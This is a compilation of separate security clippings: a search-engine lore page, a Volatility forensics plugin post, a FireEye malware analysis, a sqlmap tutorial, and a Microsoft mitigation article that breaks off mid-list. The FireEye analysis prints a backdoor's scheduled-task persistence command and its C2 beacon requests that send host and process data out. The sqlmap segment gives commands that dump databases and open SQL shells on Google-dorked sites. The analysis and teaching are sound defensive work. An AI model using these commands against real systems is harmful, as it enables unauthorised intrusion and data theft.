Alternatively, I may add, I found these lessons, re-reading them in the new
Millennium, of significant "general" importance, as I write \(in February
2000\) re-introducing them \[here\].  
Enjoy\!  
  
_

* * *
_Cassandra's search engines  
No good 'how to search' section would make any sense without some good
'homemade' search engines... of course you can always learn how to use better
the main ones, for instance on my own <img src='img/Temp2_10732.gif'
width='13' height='13' alt='red' />search <img src='img/Temp2_10732.gif'
width='13' height='13' alt='red' />engines pages, yet there is another
interesting solution by Cassandra, here it is:  
  
Here you have Cassandra's <img src='img/Temp2_10732.gif' width='13'
height='13' alt='red' />stalker  
and here you have Cassandra's <img src='img/Temp2_10732.gif' width='13'
height='13' alt='red' />fetcher  
  
They are still in a experimental phase, so bear with us and let's hope that
cassandra will send some updates  
  
This is what Cassandra wrote to me:_

[code]

    _I have divided my work in two parts : the Fetcher and the Stalker.
    The Fetcher provides an easy-to-use access to various search engines:
      Altavista, Yahoo, HotBot, Lycos, Infoseek, webcrawler, Dogpile, FTP
    search, ASK SINA (an ftpsearch-like with a database containing records of
    germany sites, mostly), Northern Light Search (recommanded by US army,
    although it's not supposed to mean anything), Goto (formerly WWW Worm).
    
    The stalker provides gateways to finger and whois, along with the 'dejanews
    search filter' without all the ugly grafix. It's not really developped, for
    stalking matter is related to the country your prey lives in.
    
    btw, Fetcher uses frames (yes, frames!), but in a clever way : you'r never
    jailed in a small portion of your browser window. If used sparingly, frames
    can be useful.
    
    Of couse, each one might grow with engines or stalking services. But i'll
    develop it only if you or someone else you could give it to is interested
    and find it worth growing._
[/code]

_Well, I hope that this 'search engines' form approach will be developed too.
I'm sure my readers will immediately understand the practicality and the
convenience of having some single, well tuned, search engine forms, without
having to use the awful commercial entrances, delayed by all the crap
advertisement they put on \(as if they would not gather enough money and power
just LOOKING at what people search :-\(  
  
_ The\_Seeker's "Accmail update"  
---  
_  
__\[Available lessons\]  
  
__  
You'll find quite a treasure \[here\]_

* * *
_  
  
_Fiat Lux "Common knowledge tips"  
---  
_  
\[Secure surfing info\]  
  
__  
You'll find a wealth of knowledge \[here\]  
_ _  
_Re-ranking  
---  
 _  
The web grows, the main search engines, while indexing only a small part of
Internet, do indeed add to their indexes more and more stuff... and we are
submerged with waves of commercial crap everytime we use them. Thus the need
of 're-ranking' the results we get. There are various approaches, as you will
see. I have worked on this, while preparing a new cycle of conferences:
"Advanced searching: how to find webdiamonds among the commercial Sargassos"  
If your university is located in a nice gastronomical habitat, by all means
invite me:-\)  
_<img src='img/Temp2_10731.gif' width='290' height='160' alt='red' />  
| |  | 
  * \[yoyo1.htm\]:  _The yo-yo approach_ by  _fravia+_ \(Tackling the 'down yonder' problem: a discussion about search engines' "depth"\), **part one** of the re-ranking trilogy   
| |   
---|---  
  
  
  

  * \[synecdoc.htm\]:  _The synecdochical searching method_ by  _fravia+_ \(substituting a part for the whole when searching\), **part two** of the re-ranking trilogy   
|  
---|---  
  
  
  

  * \[epanalep.htm\]:  _The epanaleptical approach_ \(and other fuzzy searching tricks\), by  _fravia+_ , **part three** of the re-ranking trilogy   
|  
---|---  
  
  
  

  
 _This stuff is in fieri, duh_  

* * *
<img src='img/Temp2_10733.gif' width='118' height='68' alt='to basic' />

* * *  
---  
\(c\) 1952-2032: \[fravia+\], all rights reserved

# JL's stuff: Volatility 1.4 UserAssist plugin

**Created:**| _5/1/2011 9:59:21 AM_  
---|---  
**Updated:**| _5/1/2011 9:59:21 AM_  
**Author:**| __  
**Tags:**| _Forensics Memory forensics plugin_  
  

##

###  Volatility 1.4 UserAssist plugin

From a computer forensics standpoint, userassist keys can provide a lot of
information about user activity \(see the Harlan's posts for more
information\).  
  
After looking at Didier Steven's article on userassist keys for Windows 7 from
Into the Boxes issue 0x0 and RegRipper, I decided to write up a plugin that
would pull out UserAssist keys from all versions of windows for Volatility.  
  
One thing I decided to add was an enumeration of GUIDs to human friendly
folder names, which were obtained from here.  
  
The plugin is available in my git repository. Simply download and place into
your volatility/plugins directory and you're set.  
  
Example Output  
  
Below you can see some snippets of output for Windows 7. The fields are pretty
self explanatory, though you can read Didier Steven's article for more
details. The hex dump is the actual data from which this information was
parsed, just so you can verify it yourself.  

[/code]

[code]

  
$ ./vol.py -f win7.vmem --profile=Win7SP0x86 userassist --no-cache  
Volatile Systems Volatility Framework 1.4\_rc1  
\----------------------------  
Registry: \??\C:\Users\admin\ntuser.dat  
Key name: Count  
Last updated: 2010-07-06 22:40:25  
  
Subkeys:  
  
Values:  
REG\_BINARY Microsoft.Windows.GettingStarted :  
Count: 14  
Focus Count: 21  
Time Focused: 0:07:00.500000  
Last updated: 2010-03-09 19:49:20  
  
0000 00 00 00 00 0E 00 00 00 15 00 00 00 A0 68 06 00 .............h..  
0010 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................  
0020 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................  
0030 00 00 80 BF 00 00 80 BF FF FF FF FF EC FE 7B 9C ..............\{.  
0040 C1 BF CA 01 00 00 00 00 ........  
  
REG\_BINARY UEME\_CTLSESSION :  
Count: 187  
Focus Count: 1205  
Time Focused: 6:25:06.216000  
Last updated: 1970-01-01 00:00:00  
  
0000 00 00 00 00 BB 00 00 00 B5 04 00 00 B4 90 60 01 ..............\`.  
0010 10 00 00 00 39 00 00 00 E9 67 28 00 7B 00 44 00 ....9....g\(.\{.D.  
0020 36 00 35 00 32 00 33 00 31 00 42 00 30 00 2D 00 6.5.2.3.1.B.0.-.  
0030 42 00 32 00 46 00 31 00 2D 00 34 00 38 00 35 00 B.2.F.1.-.4.8.5.  
  
\[snip\]  
  
REG\_BINARY %windir%\system32\displayswitch.exe :  
Count: 13  
Focus Count: 19  
Time Focused: 0:06:20.500000  
Last updated: 2010-03-09 19:49:20  
  
0000 00 00 00 00 0D 00 00 00 13 00 00 00 60 CC 05 00 ............\`...  
0010 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................  
0020 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................  
0030 00 00 80 BF 00 00 80 BF FF FF FF FF EC FE 7B 9C ..............\{.  
0040 C1 BF CA 01 00 00 00 00 ........  
  
REG\_BINARY %windir%\system32\calc.exe :  
Count: 12  
Focus Count: 17  
Time Focused: 0:05:40.500000  
Last updated: 2010-03-09 19:49:20  
  
0000 00 00 00 00 0C 00 00 00 11 00 00 00 20 30 05 00 ............ 0..  
0010 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................  
0020 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................  
0030 00 00 80 BF 00 00 80 BF FF FF FF FF EC FE 7B 9C ..............\{.  
0040 C1 BF CA 01 00 00 00 00 ........  
........  
  
REG\_BINARY Z:\vmware-share\apps\odbg110\OLLYDBG.EXE :  
Count: 11  
Focus Count: 266  
Time Focused: 1:19:58.045000  
Last updated: 2010-03-18 01:56:31  
  
0000 00 00 00 00 0B 00 00 00 0A 01 00 00 69 34 49 00 ............i4I.  
0010 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................  
0020 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................  
0030 00 00 80 BF 00 00 80 BF FF FF FF FF 70 3B CB 3A ............p;.:  
0040 3E C6 CA 01 00 00 00 00 >.......  
  
REG\_BINARY %ProgramFiles%\Microsoft
SDKs\Windows\v7.0\Bin\vsstools\vshadow.exe :  
Count: 0  
Focus Count: 67  
Time Focused: 0:06:12.811000  
Last updated: 1970-01-01 00:00:00  
  
0000 00 00 00 00 00 00 00 00 43 00 00 00 57 AE 05 00 ........C...W...  
0010 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................  
0020 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................  
0030 00 00 80 BF 00 00 80 BF FF FF FF FF 00 00 00 00 ................  
0040 00 00 00 00 00 00 00 00 ........  
  
REG\_BINARY %windir%\regedit.exe :  
Count: 2  
Focus Count: 8  
Time Focused: 0:03:22.626000  
Last updated: 2010-03-17 23:40:36  
  
0000 00 00 00 00 02 00 00 00 08 00 00 00 8E 15 03 00 ................  
0010 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................  
0020 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF ................  
0030 00 00 80 BF 00 00 80 BF FF FF FF FF 90 3A 93 3E .............:.>  
0040 2B C6 CA 01 00 00 00 00 +.......  

  
  
Here you can see an example of output from Windows XP:  
  

[/code]

[code]

  
$ ./vol.py -f XPSP3.vmem --profile=WinXPSP3x86 userassist --no-cache  
Volatile Systems Volatility Framework 1.4\_rc1  
\----------------------------  
Registry: \Device\HarddiskVolume1\Documents and
Settings\Administrator\NTUSER.DAT  
Key name: Count  
Last updated: 2010-11-24 16:35:34  
  
Subkeys:  
  
Values:  
REG\_BINARY UEME\_CTLSESSION :  
0000 91 52 5B 0E 1F 00 00 00 .R\[.....  
  
REG\_BINARY UEME\_CTLCUACount:ctor :  
ID: 1  
Count: 2  
Last updated: 1970-01-01 00:00:00  
  
0000 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 ................  
  
REG\_BINARY UEME\_RUNPATH :  
ID: 31  
Count: 589  
Last updated: 2010-11-24 16:30:49  
  
0000 1F 00 00 00 52 02 00 00 A0 91 09 F4 F4 8B CB 01 ....R...........  
  
REG\_BINARY UEME\_RUNPATH:D:\SETUP.EXE :  
ID: 30  
Count: 6  
Last updated: 2010-09-20 15:02:47  
  
0000 1E 00 00 00 0B 00 00 00 E0 85 39 E3 D4 58 CB 01 ..........9..X..  
  
REG\_BINARY UEME\_RUNPIDL :  
ID: 31  
Count: 124  
Last updated: 2010-11-24 14:19:29  
  
0000 1F 00 00 00 81 00 00 00 50 78 79 9B E2 8B CB 01 ........Pxy.....  
  
REG\_BINARY UEME\_RUNPIDL:%csidl2%\Microsoft Visual Basic 6.0 :  
ID: 1  
Count: 2  
Last updated: 2009-05-12 02:28:10  
  
0000 01 00 00 00 02 00 00 00 B0 1E DB 4A A9 D2 C9 01 ...........J....  
  
REG\_BINARY UEME\_RUNPATH:C:\Program Files\Microsoft Visual
Studio\VB98\VB6.EXE :  
ID: 1  
Count: 1  
Last updated: 2009-05-12 02:28:10  
  
0000 01 00 00 00 06 00 00 00 50 62 FC 4A A9 D2 C9 01 ........Pb.J....  
  
REG\_BINARY UEME\_RUNPIDL:C:\Documents and Settings\All Users\Start
Menu\Windows Update.lnk :  
ID: 1  
Count: 1  
Last updated: 2009-05-12 02:28:36  
  
0000 01 00 00 00 06 00 00 00 F0 D0 A1 5A A9 D2 C9 01 ...........Z....  
  
REG\_BINARY UEME\_RUNPATH:C:\WINDOWS\system32\wupdmgr.exe :  
ID: 31  
Count: 2  
Last updated: 2010-11-24 14:50:05  

  
  
  
Shoutz to ikelos for helping me optimize this :-\)  
  
  
References:  
  
Into the Boxes issue 0x0 http://intotheboxes.wordpress.com/2010/01/01/into-
the-boxes-issue-0x0/  
  
RegRipper http://regripper.wordpress.com/

# The Curious Case of Encoded VB Scripts : APT.NineBlog | FireEye Blog
**Created:**| _8/6/2013 9:55:34 AM_  
---|---  
**Updated:**| _8/6/2013 11:58:22 AM_  
**Author:**| __  
**Tags:**| _scripting encoding vb_  
  

# **T** he Curious Case of Encoded VB Scripts : APT.NineBlog****

We came across a rather peculiar TTP \(Tools, Techniques, and Procedures\) in
a targeted attack we found recently**.** This targeted attack uses simpler
techniques but still remains effective in infiltrating the target**.** The
weaponized document that was part of this attack was intended for a victim in
India as evident from the contents of the decoy document presented post
exploitation**.** The main modules of this attack are implemented in encoded
VB scripts as also recently seen with Janicab , however we do not see any
connections between the two**.** It also employs encrypted callback
communications over HTTPS**.**

<img src='img/Temp2_7975.png' alt='1' />

Figure 1 – Infection cycle

The weaponized document \(7a385b08f09f02658f80381ed837ef98 \) uses
CVE-2012-0158 to drop and launch the payload and decoy document**.** The decoy
document contains a recent news article copied from the Hindustan Times
detailing an unfortunate and tragic event that occurred recently in India**.**

<img src='img/Temp2_7980.png' alt='2' />

Figure 2 – Decoy document

The payload dw20.exe has a simple function, which is to drop two VB scripts
and launch them using Windows script host \(wscript.exe\)**.** The following
two files are created

  * %Temp%\232n9q4.vbs – It deletes the initial payload dw20.exe and itself**.**
  * %AppData%\checker.vbe – This is the main encoded payload and contains data gathering as well as command and control \(CnC\) functions**.**

## **Encoded VB payload \(checker.vbe****\):**

The VB payload checker.vbe is encoded using Microsoft’s script encoder \[1\]
as shown in Figure 3**.** This method is meant to provide protection to the
code and also maintain integrity, as even changing a single character in the
encoded script will render it inoperable**.** While it may be somewhat
effective at evading signature matching engines, it is a substitution cipher
and is trivial to decode \[2\]**.**

<img src='img/Temp2_7978.png' alt='3' />

Figure 3 – Encoded VB script

Once decoded it is clear that the main functionality is implemented in this
script**.** The script initializes the CnC URL variable as shown in Figure
4**.** It also uses the ID “ent-V4**.** 0″ possibly as an identifier for this
attack campaign**.**

<img src='img/Temp2_7981.png' width='375' height='60' alt='4' />

Figure 4 – Hardcoded C2 server and campaign code

The scripts also creates copies of itself with misleading names and creates a
scheduled task as well as a startup run entry for persistence of
infection**.** It creates the scheduled task by running the command below**.**
\(Note the misspelled word “Experance” and incorrect grammar indicating that
the attacker is not a native English speaker**.**\)

[code]

    _" schtasks.exe" /create /tn Microsoft-Experance-Improve /f /sc hourly /mo 2 /tr 
    "wscript.exe %AppData%\Microsoft\Windows\Microsoft-Experance-Improve.vbe"
    
    _
    
[/code]

The script also has a function to gather system information**.** Here the
Netbios name as well as the username is acquired and stored in the “name”
variable**.** It also enumerates all running processes using Winmgmt WMI
service and creates a tab separated list in the variable “all” as follows:

[code]

    _ProcessName[Tab]ProcessID[Tab]ParentProcessID[Tab]Priority[Tab]ImagePath_
    
[/code]

<img src='img/Temp2_7979.png' alt='5' />

Figure 5 – Data gathering function

## **Command and Control**** :**

The function that performs the CnC communication is shown below**.** The
function takes a URL as an argument and data to include in the POST
header**.** The communication is done over HTTPS \(**https**
://ent\[**.**\]wikaba\[**.**\]com/9blog/client.php\).

<img src='img/Temp2_7976.png' alt='6' />

Figure 6 – Functions performing POST to remote server

<img src='img/Temp2_7977.png' alt='7' />

Figure 7 – Command and control behavior

The CnC communication behavior is shown in Figure 7 and is summarized below:

  * It beacons with the POST stub parameter “&req=login” repeatedly in a loop with incremental Sleep**.** The loop is an exponential decay function where the sleep counter is increased by a multiplication factor of two**.** It continues to make this request until it receives “Success login ” in response**.** It uses the hardcoded password “wincli” for this request**.** The request over the wire is intercepted using the man-in-the-middle technique is as shown below:

**Request:**

_POST /9blog/client.php HTTP/1**.** 1_  
_Content-Type: application/x-www-form-urlencoded_  
_User-Agent: Mozilla/5**.** 0 \(compatible; MSIE 10.0; Windows NT 6.2;
Trident/6**.** 0\)_  
_Connection: Keep-Alive_  
_Accept-Language: en-us_  
_Content-Length: 62_  
_Accept: /_  
_Host: ent.wikaba.com_

_name=Win\_\{Hostname\}–\{Username\}
&passwd=wincli&req=login&content=ent-V4**.** 0_

**Response:**

_Success login : Win\_\{Hostname\}–\{Username\}_  
_name ok_  
_statistic ok_

  * Once login succeeds, it then beacons with the POST stub parameter “&req=cmd” with the list of processes stored in the “all” variable**.** It repeatedly makes these requests until it receives “On Error Resume Next ” in response**.** The fact that it checks for this string indicates that it expect another VB script in response to this request**.** The intercepted communication over HTTPS is shown below:

**Request:**

_POST /9blog/client.php HTTP/1**.** 1_  
_Content-Type: application/x-www-form-urlencoded_  
_User-Agent: Mozilla/5**.** 0 \(compatible; MSIE 10.0; Windows NT 6.2;
Trident/6.0\)_  
_Connection: Keep-Alive_  
_Accept-Language: en-us_  
_Content-Length: 62_  
_Accept: /_  
_Host: ent.wikaba.com_

_name=Win\_\{Hostname\}–\{Username\}
&passwd=wincli&req=cmd&content=\{ProcessList\}_

**Response:**

_Date: Tue, 30 Jul 2013 16:23:21 GMT_  
_Server: Apache/2**.** 4.3 \(Unix\) OpenSSL/1.0.1c PHP/5**.** 4.7_  
_X-Powered-By: PHP/5.4.7_  
_Content-Length: 8_  
_Keep-Alive: timeout=5, max=100_  
_Connection: Keep-Alive_  
_Content-Type: text/html_

_0_

  * Once the secondary VB script is received, it executes it**.** The CnC server was not responding with the correct response at the time of analysis and we were unable to obtain the secondary script**.**

At the time of analysis the CnC server ent.wikaba.com was resolving to
122**.** 10.10.184.

<img src='img/Temp2_7974.png' alt='8' />

Figure 8 – Location of resolved IP address

## **Conclusion**** :**

This case demonstrates that even simple techniques can be quite effective**.**
In addition to the use of encoded VB scripts, this malware uses HTTPS/TLS to
encrypt its command and control communications**.** The encoded VB scripts are
not usually detected by anti-virus signatures and the encrypted network
traffic evades network-based detection**.**

## **References**** :**

\[1\] http://msdn.microsoft.com/en-us/library/xw61tsx7%28v=vs**.** 84%29.aspx  
\[2\] http://www.virtualconspiracy.com/content/articles/breaking-screnc

This entry was posted in Advanced Malware , Targeted Attack by Thoufique Haq
and Nart Villeneuve **.** Bookmark the permalink .

# Episode152 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 1:03:19 PM_  
---|---  
**Updated:**| _8/5/2009 1:03:53 PM_  
**Author:**| __  
**Tags:**| _web-app-sec pauldotcom Tutorials_  
  

# Tech Segment: sqlmap John Strand

From the Project Page:  _sqlmap is an open source command-line automatic SQL
injection tool. Its goal is to detect and take advantage of SQL injection
vulnerabilities in web applications._

The full text and video of John's discussion can be found here.

  

  

Why does this tool rock?Glad you asked.First, it has the ability to process
results from burpsuite and webscarab with the -l option:Like..\# **./sqlmap.py
-l /tmp/webscarab.log/conversations/** It also has the ability automatically
dump data. For example it can dump the database version and the tables in the
database.To do this you would use the --dump-all switch like:\# **./sqlmap.py
--dump-all -u "testurl.com"**Next, it has the ability to use googledork search
strings. Yep, thats right googledorking and SQL Injection... Honestly, does it
get any better?\# **./sqlmap.py --dump-all -g "site:testsite.com ext:php"**The
above command will have google crawl a website and pull all pages with a php
extension. After sqlmap has a nice list of targets it tries to attack
them.Finally, and in my humble opinion most importantly, it can get you a SQL
shell.To do this use the --sql-shell option and it will try to give you a
shell.\# **./sqlmap.py --sql-shell -g "site:testsite.com ext:php"**  
<img src='img/Temp2_2747.jpg' width='95' height='100' alt='borat-high-
five.jpg' />**Very nice\!\!\!** Once again, I want to drive home the
importance of proof. Our jobs as testers is to demonstrate risk. To do that we
need to act like a threat and interact with a vulnerability. Simply stating
that a tool said there is a vulnerability is not enough. Also, we should be
after what the attackers are after.... Data\! What better place to get data
then a SQL database?strandjs

# Software defense: safe unlinking and reference count hardening - Security
Research & Defense - Site Home - TechNet Blogs

**Created:**| _11/7/2013 2:21:01 PM_  
---|---  
**Updated:**| _11/7/2013 2:21:01 PM_  
**Author:**| __  
**Tags:**| _mitigations memory-manager_  
  

# **S** oftware defense: safe unlinking and reference count hardening****

swiat

6 Nov 2013 5:24 AM

Object lifetime management vulnerabilities represent a very common class of
memory safety vulnerability**.** These vulnerabilities come in many shapes and
sizes, and are typically quite difficult to mitigate generically**.**
Vulnerabilities of this type result commonly from incorrect accounting with
respect to _reference counts_ describing active users of an object, or
improper handling of certain object states or error conditions**.** While
generically mitigating these issues represents an ongoing challenge, Microsoft
has taken steps towards mitigating certain, specific classes of these issues
in Windows 8 and Windows 8**.** 1\. These mitigations typically involve
widespread instrumentation of code to reduce the impact of specific classes of
issues**.**

# Introducing fast fail****

Before we further detail some of the mitigations discussed in this post, it’s
important to take a brief moment to outline the mechanism by which these
upcoming mitigations report their failures**.**

When it comes to memory safety mitigations, one of the most basic \(but
sometimes overlooked\) aspects of a mitigation is what to do when corruption
has been detected**.** Typical memory safety mitigations attempt to detect
some sort of indication that a program has “gone off the guard rails” and
severely corrupted some form of its internal state; consequently, it is
valuable for the code that detects the corruption to assume the minimum
possible about the state of the process, and to depend on as little as
possible when dealing with the error condition \(often leading to a crash dump
being captured, and the faulting program being terminated\)**.**

The mechanisms for dealing with triggering crash dump capture and program
termination have historically been very environment-specific**.** The APIs
often used to do so in user mode Windows, for example, do not exist in the
Windows kernel; instead, a different set of APIs must be used**.**
Furthermore, many existing mechanisms have not been designed to absolutely
minimize dependencies on the state of the corrupted program at the time of
error reporting**.**

Environment-specific mechanisms for critical failure reporting are also
problematic for compiler generated code, or code that is compiled once and
then linked in to programs that might run in many different environments
\(such as user mode, kernel mode, early boot, etc**.**\). Previously, this
problem has typically been addressed by providing a small section of stub code
that is linked in to a program and which provides an appropriate critical
failure reporting abstraction**.** However, this approach becomes increasingly
problematic as the scope of programs that take dependencies on said stub
library increases**.** For security features whose error reporting facilities
are linked in to vast numbers of programs, the stub code must be extremely
circumspect with respect to which APIs it may take dependencies on**.**

Take the case of /GS as an example; directly linking to the crash dump writing
code would pull that code in to nearly every program built with /GS enabled,
for example; this would clearly be highly undesirable**.** Some programs might
need to run on OS’s before those facilities were even introduced, and even if
that were not the case, pulling in additional dependent DLLs \(or static
linked library code\) across such a wide scope of programs would incur
unacceptable performance implications**.**

To address the needs of both future compiler-based \(code generation
altering\) mitigations, which would strongly prefer to be as environment, as
well as common framework/library-based mitigations, we introduced a facility
called _fast fail_ \(sometimes referred to as _fail fast_\) to Windows 8 and
Visual Studio 2012**.** Fast fail represents a uniform mechanism for
requesting immediate process termination in the context of a potentially
corrupted process that is enabled by a combination of support in various
Microsoft runtime environments \(boot, kernel, user, hypervisor, etc**.**\) as
well as a new compiler intrinsic, \_\_fastfail **.** Code using fast fail has
the advantage of being inlineable, compact \(from a code generation
perspective\), and binary portable across multiple runtime environments**.**

Internally, fast fail is implemented by the several architecture-specific
mechanisms:

Architecture |  Instruction |  Location of “Code” argument  
---|---|---  
AMD64 |  int 0x29 |   
|  Opcode 0xDEFB\* |   
|  int 0x29 |   
\* _ARM defines a range of Thumb2 opcode space that is permanently undefined,
and which will never allocated for processor use**.** These opcodes can be
used for platform-specific purposes**.**_

A single, Microsoft-defined _code_ argument \(assigned symbolic constants
prefixed with FAST\_FAIL\_<description> in winnt**.** h and wdm.h\) is
provided to the \_\_fastfail intrinsic**.** The code argument, intended for
use in classifying failure reports, describes the type of failure condition
and is incorporated into failure reports in an environment-specific
fashion**.**

A fast fail request is self-contained and typically requires just two
instructions to execute**.** The kernel, or equivalent, then takes the
appropriate action once a fast fail request has been executed**.** In user
mode code, there are no memory dependencies involved \(beyond the instruction
pointer itself\) when a fast fail event is raised, maximizing its reliability
even in the case of severe memory corruption**.**

User mode fast fail requests are surfaced as a second chance non-continuable
exception with exception code 0xC0000409 and with at least one exception code
\(the first exception parameter being the fast fail code that was supplied as
an argument to the \_\_fastfail intrinsic\)**.** This exception code,
previously used exclusively to report /GS stack buffer overrun events, was
selected as it is already known to the Windows Error Reporting \(WER\) and
debugging infrastructure as an indication that the process is corrupt and
minimal in-process actions should be taken in response to the failure**.**
Kernel mode fast fail requests are implemented with a dedicated bugcheck code,
KERNEL\_SECURITY\_CHECK\_FAILURE \(0x139\)**.** In both cases, no exception
handlers are invoked \(as the program is expected to be in a corrupted
state\)**.** The debugger \(if present\) is given an opportunity to examine
the state of the program before it is terminated**.**

Pre-Windows 8 operating systems that do not support the fast fail instruction
natively will typically treat a fast fail request as an access violation, or
UNEXPECTED\_KERNEL\_MODE\_TRAP bugcheck**.** In these cases, the program is
still terminated, but not necessarily as quickly**.**

The compact code-generation characteristics and support across multiple
runtime environments without additional dependencies make fast fail ideal for
use by mitigations that involve program-side code instrumentation, whether
these be compiler-based or library/framework-based**.** Since the failure
reporting logic can be embedded directly in application code in an
environment-agnostic fashion, at the specific point where the corruption or
inconsistency was detected, there is minimal disturbance to the active program
state at the time of failure detection**.** The compiler can also implicitly
treat a fast fail site as “no-return”, since the operating system does not
allow the program to be resumed after a fast fail request \(even in the face
of exception handlers\), enabling further optimizations to minimize the code
generation impact of failure reporting**.** We expect that future compiler-
based mitigations will take advantage of fast fail to report failures inline
and in-context \(where possible\)**.**

# Safe unlinking retrospective****

Previously , we discussed the targeted addition of safe unlinking integrity
checks to the executive pool allocator in the Windows 7 kernel**.** Safe
unlinking \(and safe linking\) are a set of general techniques for validating
the integrity of a doubly-linked list when a modifying operation, such as a
list entry unlink or link, occurs**.** These techniques operate by verifying
that the neighboring list links for a list entry being acted upon actually
still point to the list entry being linked or unlinked into the list**.**

Safe unlinking operations have historically been an attractive defense to
include to the book-keeping data structures of memory allocators as an added
defense against _pool overrun_ or _heap overrun_ vulnerabilities**.** Windows
XP Service Pack 2 first introduced safe unlinking to the Windows heap
allocator, and Windows 7 introduced safe unlinking to the executive pool
allocator in the kernel**.** To understand why this is a valuable defensive
technique, it is helpful to examine how memory allocators are often
implemented**.**

It is common for a memory allocator to include a _free list_ of available
memory regions that may be utilized to satisfy an allocation request**.**
Frequently, the free list is implemented by embedding a doubly linked list
entry inside of an available memory block that is logically located on the
free list of the allocator, in addition to other metadata about the memory
block \(such as its size\)**.** This scheme allows an allocator to quickly
locate and return a suitable memory block to a caller in response to an
allocation request**.**

Now, when a memory block is returned to a caller to satisfy an allocation, it
is _unlinked_ from the free list**.** This involves updating the neighboring
list entries \(located within the list entry embedded in the free allocation
block\) to point to one another, instead of the block that has just been
freed**.** In the context of an overrun scenario, where an attacker has
managed to overrun a buffer and overwrite the contents of a neighboring, freed
memory block header, the attacker may have the opportunity to supply arbitrary
values for the _next_ and _previous_ pointers, which will then be written
through when the \(overwritten\) freed memory block is next allocated**.**

This yields what is commonly called a “write-what-where” or “write anywhere”
primitive that lets an attacker choose a specific value \(_what_\) and a
specific address \(_where_\) to store said value**.** This is a powerful
primitive from an exploitation perspective, and affords an attacker a high
degree of freedom \[2\]**.**

In the context of memory allocators, safe unlinking helps mitigate this class
of vulnerability by verifying that the list neighbors still point to the
elements that the list entry embedded within the freed block says they
should**.** If the block’s list entry has been overwritten and an attacker has
commandeered its list entries, this invariant will typically fail \(provided
that the logically previous and next list entries are not corrupted as well\),
enabling the corruption to be detected**.**

# Safe unlinking in Windows 8****

Safe unlinking is broadly applicable beyond simply the internal linked lists
of memory allocators; many applications and kernel mode components utilize
linked lists within their own data structures**.** These data structures also
stand to benefit from having safe unlinking \(and safe linking\) integrity
checks inserted; beyond simply providing protection against heap-based
overruns overwriting list pointers in application-specific data on the
heap\[1\], linked list integrity checks in application-level code often
provide a means to better protect against conditions where an application
might erroneously delete an application-specific object containing a linked
list entry twice \(due to an application-specific object lifetime
mismanagement issue\), or might otherwise incorrectly use or synchronize
access to a linked list**.**

Windows provides a generalized library  for manipulating doubly-linked lists,
in the form of a set of inline functions provided in common Windows headers
that are both exposed to third party driver code as well as heavily used
internally**.** This library is well-suited as a central location instrument
code throughout the Microsoft code base, as well as third party driver code by
extension, with safe unlinking \(and safe linking\) list integrity checks**.**

Starting with Windows 8, the “LIST\_ENTRY” doubly linked list library is
instrumented with list integrity checks that protect code using the library
against list corruption**.** All list operations that write through a list
entry node’s list link pointer will first check that the neighboring list
links still point back to the node in question, which enables many classes of
issues to be caught before they cause further corruption \(for example, a
double-remove of a list entry is typically immediately caught at the second
remove\)**.** Since the library is designed as an operating-environment-
agnostic, inline function library, the fast fail mechanism is used to report
failures**.**

Within Microsoft, our experience has been that the safe linking \(and safe
unlinking\) instrumentation has been highly effective at identifying linked
list misuse, with in excess of over 100 distinct bugs fixed in the Windows 8
development cycle on account of the list integrity checks**.** Many Windows
components leverage the same doubly linked list library, leading to widespread
coverage throughout the Windows code base \[1\]**.**

We have also enabled third party code to take advantage of these list
integrity checks; drivers that build with the Windows 8 WDK will get the
integrity checks by default, no matter what OS is targeted at build time**.**
The integrity checks are backwards compatible to previous OS’s; however,
previous OS releases will react to a list entry integrity check failure in a
driver with a more generic bugcheck code such as
UNEXPECTED\_KERNEL\_MODE\_TRAP, rather than the dedicated
KERNEL\_SECURITY\_CHECK\_FAILURE bugcheck code introduced in Windows 8**.**

With any broad form of code instrumentation, one concern that is nearly
omnipresent naturally relates to the performance impact of the
instrumentation**.** Our experience has been that the performance impact of
safe unlinking \(and safe unlinking\) is minimal, even in workloads that
involve large number of list entry manipulation operations**.** Since the list
entry manipulation operations already inherently involve following pointers
through to the neighboring list entries, simply adding an extra comparison
\(with a branch to a common fast fail reporting label\) has proven to be quite
inexpensive**.**

# Reference count hardening****

It is common for objects that have non-trivial lifetime management to utilize
reference counts to manage responsibility for keeping a particular object
alive, and cleaning the object up once there are no active users of the
object**.** Given that object lifetime mismanagement is one of the most common
situations where memory corruption vulnerabilities come in to play, it is thus
no particular surprise that reference counts are often center stage when it
comes to many of these vulnerabilities**.**

While there has been research into this area \(for example, Mateusz “j00ru”
Jurczyk’s November 2012 case study on reference count vulnerabilities \[5\]\),
generically mitigating all reference count mismanagement issues remains a
difficult problem**.** Reference count-related vulnerabilities can generally
be broken down into several broad classes:

  * Under-referencing an object \(such as forgetting to increase the reference count when taking out a long-lived pointer to an object, or decrementing the reference count of an object improperly\)**.** These vulnerabilities are difficult to cheaply mitigate as the information available to ascertain whether a reference count _should_ be decremented at a certain time based on the lifetime model of a particular object is often not readily available at the time when the reference count is decremented**.** This class of vulnerability can lead to an object being deleted while another user of the object still holds what they believe to be a valid pointer to the object; the object could then be replaced with potentially attacker-controlled data if the attacker can allocate memory on the heap at the same location as the just-deleted object**.**
  * Over-referencing an object \(such as forgetting to decrement a reference count in an error path\)**.** This class of vulnerability is common in situations where a complex section of code has an early-exit path that does not clean up entirely**.** Similar to under-referencing, this class of vulnerability can also eventually lead to an object being prematurely deleted should the attacker be able to force the reference count to “wrap around” to zero after repeatedly exercising the code path that obtains \(but then forgets to release\) a reference to a particular object**.** Historically, this class of vulnerability has most often had an impact in the local kernel exploitation arena, where there is typically a rich set of objects exposed to untrusted user mode code, along with a variety of APIs to manipulate the state of said objects**.**

